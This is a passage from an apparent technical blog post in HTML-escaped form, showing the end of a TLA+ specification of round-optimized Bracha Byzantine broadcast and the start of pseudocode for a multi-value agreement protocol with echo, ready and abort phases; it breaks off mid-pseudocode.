&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;277&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;OptimisticDeliver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;278&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;279&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;EchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Qo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;280&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [delivered EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;281&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;282&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;283&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;284&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;285&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;286&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;287&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HonestStep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;288&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;LeaderInit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;289&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;EchoOnInit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;290&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReadyOnEchos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;291&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReadyAmplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;292&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;DeliverOnReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;293&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;OptimisticDeliver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;294&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;295&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;296&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Specification&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;297&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;298&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Terminated&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;299&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;300&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Done&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Terminated&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="n"&gt;vars&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;301&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;302&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Next&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;303&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HonestStep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;304&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;305&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;FaultyStep&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;306&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;Done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;307&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;308&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Weak&lt;/span&gt; &lt;span class="n"&gt;fairness&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;actions&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="n"&gt;reception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;309&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Fairness&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;310&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WF_vars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HonestStep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;311&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WF_vars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Receive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;312&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;313&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Spec&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Init&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;□&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="n"&gt;_vars&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;Fairness&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;314&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;315&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;316&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Safety&lt;/span&gt; &lt;span class="n"&gt;Properties&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;317&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;318&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;319&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Agreement&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;320&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;321&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;⇒&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;322&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;323&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Validity&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;324&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;⇒&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;325&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="err"&gt;⇒&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;326&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;327&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;328&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Liveness&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;329&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;330&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;331&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Termination&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;◇&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;332&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;333&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;=============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/details&gt;
&lt;p&gt;Model check with &lt;code&gt;n=4, f=1&lt;/code&gt; (or &lt;code&gt;n=7, f=2&lt;/code&gt; if you have patience) and verify &lt;code&gt;Agreement&lt;/code&gt;, &lt;code&gt;Validity&lt;/code&gt;, and &lt;code&gt;Termination&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="0x3-from-broadcast-to-multi-value-agreement"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; From Broadcast to Multi-Value Agreement&lt;/h2&gt;
&lt;p&gt;The round-optimized Bracha handles the single-leader case. But what if &lt;em&gt;everyone&lt;/em&gt; has a value to propose? This is multi-value agreement (MVA):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every process starts with an input value&lt;/li&gt;
&lt;li&gt;All honest processes deliver the same output&lt;/li&gt;
&lt;li&gt;If a supermajority agrees on input \(v\), output must be \(v\)&lt;/li&gt;
&lt;li&gt;If inputs are split, output can be \(\bot\) (explicit &amp;ldquo;no consensus&amp;rdquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MVA is useful whenever you have a bunch of servers that need to agree on their own observations, extracting a supermajority opinion from conflicting proposals: leader election, view changes, detecting failures, etc.&lt;/p&gt;
&lt;h3 id="the-challenge"&gt;The Challenge&lt;/h3&gt;
&lt;p&gt;Without a designated leader, equivocation isn&amp;rsquo;t the threat. &lt;em&gt;Fragmentation&lt;/em&gt; is. If honest inputs split across multiple values, no single value might reach quorum. We need:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A way to detect when no value can win&lt;/li&gt;
&lt;li&gt;A safe way to terminate with \(\bot\) in that case&lt;/li&gt;
&lt;li&gt;Guarantees that \(\bot\) only happens when genuinely necessary&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="additional-thresholds"&gt;Additional Thresholds&lt;/h3&gt;
&lt;p&gt;Two more:&lt;/p&gt;
&lt;p&gt;\[
\begin{aligned}
Q_s &amp;amp;= \lfloor (n + f) / 2 \rfloor + 1 &amp;amp;&amp;amp;\text{(supermajority threshold)} \\
Q_e &amp;amp;= \lfloor n/2 \rfloor + 1 &amp;amp;&amp;amp;\text{(echo-backing threshold)}
\end{aligned}
\]&lt;/p&gt;
&lt;p&gt;If &lt;span class="math-inline"&gt;\(\geq Q_s\)&lt;/span&gt; honest processes have the same input, that value &lt;em&gt;must&lt;/em&gt; be the output (&amp;ldquo;strong validity&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;The echo-backing threshold \(Q_e\) prevents an adversary from exploiting message scheduling to make minority values win. More on this shortly.&lt;/p&gt;
&lt;h2 id="0x4-the-multi-value-protocol"&gt;&lt;span class="hx"&gt;0x4:&lt;/span&gt; The Multi-Value Protocol&lt;/h2&gt;
&lt;p&gt;The protocol extends round-optimized Bracha with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ECHO phase&lt;/strong&gt;: Each process echoes its own input (not a leader&amp;rsquo;s INIT)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;READY phase&lt;/strong&gt;: Same as before, but can also READY \(\bot\) if echoes fragment&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ABORT phase&lt;/strong&gt;: New mechanism for when READYs themselves fragment&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Helper definitions (where \(E(v)\) and \(R(v)\) denote counts of ECHOs and READYs received for value \(v\)):&lt;/p&gt;
&lt;div class="def-grid"&gt;
&lt;div&gt;
&lt;span class="def-label"&gt;\(\text{PluralityAmongEchoes}\)&lt;/span&gt;
$$\text{unique } \underbrace{\arg\max_v E(v)}_{\text{most echoes}} \text{, or } \bot$$&lt;/div&gt;
&lt;div&gt;
&lt;span class="def-label"&gt;\(\text{CanWin}(x)\)&lt;/span&gt;
$$\underbrace{R(x)}_{\text{current}} + \underbrace{(n - \text{TotalReadies})}_{\text{outstanding}} \geq Q$$&lt;/div&gt;
&lt;div&gt;
&lt;span class="def-label"&gt;\(\text{CanReachQuorum}\)&lt;/span&gt;
$$\underbrace{\max_v R(v)}_{\text{best}} + \underbrace{(n - \text{TotalReadies})}_{\text{outstanding}} \geq Q$$&lt;/div&gt;
&lt;div&gt;
&lt;span class="def-label"&gt;\(\text{CanReachEchoBacking}\)&lt;/span&gt;
$$\underbrace{\max_v E(v)}_{\text{best}} + \underbrace{\max(0, n - \text{TotalEchos} - f)}_{\text{remaining honest}} \geq Q_e$$&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-pseudocode" data-lang="pseudocode"&gt;// State variables (per process):
// sentᵣ ∈ V ∪ {⊥, ∅} - what READY was broadcast (∅ = none yet)
// delivered ∈ V ∪ {⊥, ∅} - delivered value (∅ = none yet)
// sentₐ ∈ {true, false} - whether ABORT was sent
upon start:
send ⟨ECHO, input⟩ to all
upon E(v) ≥ Q ∧ sentᵣ = ∅: // Q echoes -&gt; ready
send ⟨READY, v⟩ to all; sentᵣ ← v
upon TotalEchoes ≥ Q ∧ (∀v: E(v) &lt; Q) // R2: timeout path
∧ sentᵣ = ∅ ∧ delivered = ∅:
plurality ← PluralityAmongEchoes() // unique max, or ⊥ if tied
hasBacking ← plurality ≠ ⊥ ∧ E(plurality) ≥ Qₑ
if ¬hasBacking ∧ CanReachEchoBacking():
wait // more echoes may arrive
else if hasBacking:
send ⟨READY, plurality⟩ to all; sentᵣ ← plurality
else: // no backing possible, demote
send ⟨READY, ⊥⟩ to all; sentᵣ ← ⊥
upon R(v) ≥ Qₐ ∧ sentᵣ = ∅: // R3: amplify value
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(⊥) ≥ Qₐ ∧ sentᵣ = ∅: // R4: amplify ⊥
send ⟨READY, ⊥⟩ to all; sentᵣ ← ⊥&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why ties must wait:&lt;/strong&gt; When &lt;code&gt;PluralityAmongEchoes()&lt;/code&gt; returns ⊥ (a tie), the protocol waits rather than immediately readying ⊥. Additional honest echoes may break the tie. Only when &lt;code&gt;CanReachEchoBacking()&lt;/code&gt; becomes false (all honest echoes have arrived, no value can reach \(Q_e\)) does the protocol commit to ⊥.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-pseudocode" data-lang="pseudocode"&gt;upon E(v) ≥ Qₒ ∧ delivered = ∅ // D1: fast path (2 rounds)
∧ sentᵣ ∈ {∅, v}:
if sentᵣ = ∅: send ⟨READY, v⟩; sentᵣ ← v
delivered ← v
upon R(v) ≥ Q ∧ delivered = ∅ // D2: deliver on ready quorum
∧ (sentᵣ ∈ {∅, v} ∨ ¬CanWin(sentᵣ)):
if sentᵣ = ∅: send ⟨READY, v⟩; sentᵣ ← v
delivered ← v
upon R(⊥) ≥ Q ∧ delivered = ∅ // D3: deliver on ready-⊥ quorum
∧ (sentᵣ ∈ {∅, ⊥} ∨ ¬CanWin(sentᵣ)):
if sentᵣ = ∅: send ⟨READY, ⊥⟩; sentᵣ ← ⊥
delivered ← ⊥
// Abort mechanism (READYs fragment irrecoverably)
upon sentᵣ ≠ ∅ ∧ TotalReadies ≥ Q // A1: initiate abort
